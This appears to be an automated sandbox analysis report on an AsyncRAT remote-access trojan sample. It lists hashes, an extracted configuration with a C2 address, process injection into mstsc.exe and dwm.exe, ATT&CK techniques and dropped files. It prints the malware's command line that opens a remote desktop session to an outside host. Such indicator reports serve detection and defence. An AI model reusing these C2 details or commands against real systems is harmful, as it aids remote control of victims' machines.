asyncrat | 1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136

General

Target

1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136.exe
Size

56KB
MD5

f64ccbc901901c142778923c42a6e582
SHA1

214ec7d3082028bcf42a2f7e86917c2d40b9611b
SHA256

1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136
SHA512

6571b0c2590b9f60b86515a03ca05bbcfbce3d5f01243b91e4870d465439823551ac4129c4fb520215347b96a1a9223faa5aaffceaa0a4fdbe50cdd7a62e08d9
SSDEEP

768:huxJmUepbOSJr8UzFr4DhlWerv1NwF326QI2:hqJtLUzNehlWQ1CM6P

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

C2

110.238.105.105:8848

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/1180-71-0x0000000000930000-0x0000000000940000-memory.dmp	asyncrat

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

dwm.exe

pid process

1180 dwm.exe

pid	process
1180	dwm.exe

Loads dropped DLL 3 IoCs

Processes:

1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136.exe

pid	process
896	1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136.exe
896	1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136.exe
896	1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

mstsc.exe

description	ioc	process
File opened (read-only)	\??\N:	mstsc.exe
File opened (read-only)	\??\O:	mstsc.exe
File opened (read-only)	\??\R:	mstsc.exe
File opened (read-only)	\??\S:	mstsc.exe
File opened (read-only)	\??\B:	mstsc.exe
File opened (read-only)	\??\F:	mstsc.exe
File opened (read-only)	\??\G:	mstsc.exe
File opened (read-only)	\??\J:	mstsc.exe
File opened (read-only)	\??\X:	mstsc.exe
File opened (read-only)	\??\P:	mstsc.exe
File opened (read-only)	\??\Q:	mstsc.exe
File opened (read-only)	\??\U:	mstsc.exe
File opened (read-only)	\??\V:	mstsc.exe
File opened (read-only)	\??\E:	mstsc.exe
File opened (read-only)	\??\H:	mstsc.exe
File opened (read-only)	\??\K:	mstsc.exe
File opened (read-only)	\??\M:	mstsc.exe
File opened (read-only)	\??\Y:	mstsc.exe
File opened (read-only)	\??\A:	mstsc.exe
File opened (read-only)	\??\L:	mstsc.exe
File opened (read-only)	\??\T:	mstsc.exe
File opened (read-only)	\??\Z:	mstsc.exe
File opened (read-only)	\??\I:	mstsc.exe
File opened (read-only)	\??\W:	mstsc.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

mstsc.exe

pid process

808 mstsc.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136.exemstsc.exe

pid process

896 1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136.exe
808 mstsc.exe

pid	process
808	mstsc.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136.exemstsc.exe

description	pid	process	target process
PID 896 wrote to memory of 1108	896	1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136.exe	mstsc.exe
PID 896 wrote to memory of 1108	896	1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136.exe	mstsc.exe
PID 896 wrote to memory of 1108	896	1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136.exe	mstsc.exe
PID 896 wrote to memory of 1108	896	1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136.exe	mstsc.exe
PID 1108 wrote to memory of 808	1108	mstsc.exe	mstsc.exe
PID 1108 wrote to memory of 808	1108	mstsc.exe	mstsc.exe
PID 1108 wrote to memory of 808	1108	mstsc.exe	mstsc.exe
PID 1108 wrote to memory of 808	1108	mstsc.exe	mstsc.exe
PID 896 wrote to memory of 1180	896	1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136.exe	dwm.exe
PID 896 wrote to memory of 1180	896	1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136.exe	dwm.exe
PID 896 wrote to memory of 1180	896	1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136.exe	dwm.exe
PID 896 wrote to memory of 1180	896	1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136.exe	dwm.exe

C:\Users\Admin\AppData\Local\Temp\1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136.exe
"C:\Users\Admin\AppData\Local\Temp\1720e833db94e2388213e8dbfd8589819ddc8525295c9e2e6df61c2c6446f136.exe"
1⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:896

C:\Windows\SysWOW64\mstsc.exe
mstsc.exe /v:122.128.123.178:3389 /f
2⤵
- Suspicious use of WriteProcessMemory
PID:1108

C:\Windows\system32\mstsc.exe
mstsc.exe /v:122.128.123.178:3389 /f
3⤵
- Enumerates connected drives
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:808

C:\users\Public\documents\dwm.exe
C://users/Public/documents/dwm.exe
2⤵
- Executes dropped EXE
PID:1180

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Public\Documents\Text.txt
Filesize
109KB

MD5
81fdb130a76c6315ce98a28e2caea772

SHA1
f2965c3571ec298193a02bf7aa126af4faa8b846

SHA256
2900531b2df0712e1687ebc17901d5a6d90e8ff2d47650056d748344fc3d467a

SHA512
f5e701737121341223caebd1e8ed05a2ef71d2c8f3bce0b673bbd316d928ae3083e8fe2684efa45c5593777f912ab3dac9d3f76a75bda02e5d1d4c64b0d8d04d

Download Submit
C:\Users\Public\Documents\dwm.exe
Filesize
6KB

MD5
68288c9c86bcd4dbad9f93294926b29b

SHA1
9b177ba5a3d22eaf89cb94b3cacf47b6dcdb4496

SHA256
720f10d44aa351453f0cc1fbe463de79e4a6f148bbad369dd1295b1b416b07bc

SHA512
48fa5027527d9f139440cb9ef355bca906d654d7b20ad0a98eb89924f12e7fcae0f041afba8c300e62cc79ce6aaf32f4116b88ebd37397c79a873a8ff6942ee6

Download Submit
C:\users\Public\documents\ClassLibrary2.dll
Filesize
5KB

MD5
ea309f547d484a9506978a64b46e1759

SHA1
5487372323411688d34d5137627c1c5d32d42974

SHA256
ea02454269f1059e6d9157a1914e60c2f739d5e185801aeb713dc9eafc4ba9d7

SHA512
96328f93e81a8a930bb65f9266f0fd700db5e01a9dcc28c37be49df76733d01d74ee2437d3b1fa4d7aa70baf75a7dffc7d598cc8f2ce581aa030dcb23983988f

Download Submit
C:\users\Public\documents\dwm.exe
Filesize
6KB

MD5
68288c9c86bcd4dbad9f93294926b29b

SHA1
9b177ba5a3d22eaf89cb94b3cacf47b6dcdb4496

SHA256
720f10d44aa351453f0cc1fbe463de79e4a6f148bbad369dd1295b1b416b07bc

SHA512
48fa5027527d9f139440cb9ef355bca906d654d7b20ad0a98eb89924f12e7fcae0f041afba8c300e62cc79ce6aaf32f4116b88ebd37397c79a873a8ff6942ee6

Download Submit
\Users\Public\Documents\RDSv1.dll
Filesize
24KB

MD5
36f3b718deda0cebb65487b2a0b56678

SHA1
5a9a0c523641184d2829155100bd875491be1f5a

SHA256
2fca90ac0ae35ef4dd9a99451dc4754bcd53c59ba97c121ffd3e62034b1ecefa

SHA512
a30fddfe2526673b2eec78eab91b0a0afcf34e061fee4a3202262a830f94205ecd6d89cdb604abd4ae18027cc122ec2bd8495060a810262e6728f7aac2233e5c

Download Submit
\Users\Public\Documents\calc.dll
Filesize
87KB

MD5
225d9c27f41c841980c170d65b4d31dd

SHA1
2b1381e305c05660b26dd7c571d9b02df88a3f4d

SHA256
0d82363a422c876fae84ca27b2b72ab3286ffdf8a2632350bc64680cb8d36de9

SHA512
7eca920d383de3e3440225a5ca5930f130bba1f5155dc37920654493130ae3f3073a1eec731eed1b56355700a18d74cf0901b627226350d4d40224e2e5265966

Download Submit
\Users\Public\Documents\dwm.exe
Filesize
6KB

MD5
68288c9c86bcd4dbad9f93294926b29b

SHA1
9b177ba5a3d22eaf89cb94b3cacf47b6dcdb4496

SHA256
720f10d44aa351453f0cc1fbe463de79e4a6f148bbad369dd1295b1b416b07bc

SHA512
48fa5027527d9f139440cb9ef355bca906d654d7b20ad0a98eb89924f12e7fcae0f041afba8c300e62cc79ce6aaf32f4116b88ebd37397c79a873a8ff6942ee6

Download Submit
memory/808-59-0x000007FEF6451000-0x000007FEF6453000-memory.dmp

Filesize
8KB

Download
memory/808-57-0x000007FEFBF71000-0x000007FEFBF73000-memory.dmp

Filesize
8KB

Download
memory/808-56-0x0000000000000000-mapping.dmp

Download
memory/1108-54-0x0000000000000000-mapping.dmp

Download
memory/1108-55-0x0000000075B41000-0x0000000075B43000-memory.dmp

Filesize
8KB

Download
memory/1180-62-0x0000000000000000-mapping.dmp

Download
memory/1180-65-0x000000013F210000-0x000000013F216000-memory.dmp

Filesize
24KB

Download
memory/1180-69-0x0000000000780000-0x0000000000788000-memory.dmp

Filesize
32KB

Download
memory/1180-71-0x0000000000930000-0x0000000000940000-memory.dmp

Filesize
64KB

Download
memory/1180-72-0x00000000007A0000-0x00000000007B5000-memory.dmp

Filesize
84KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads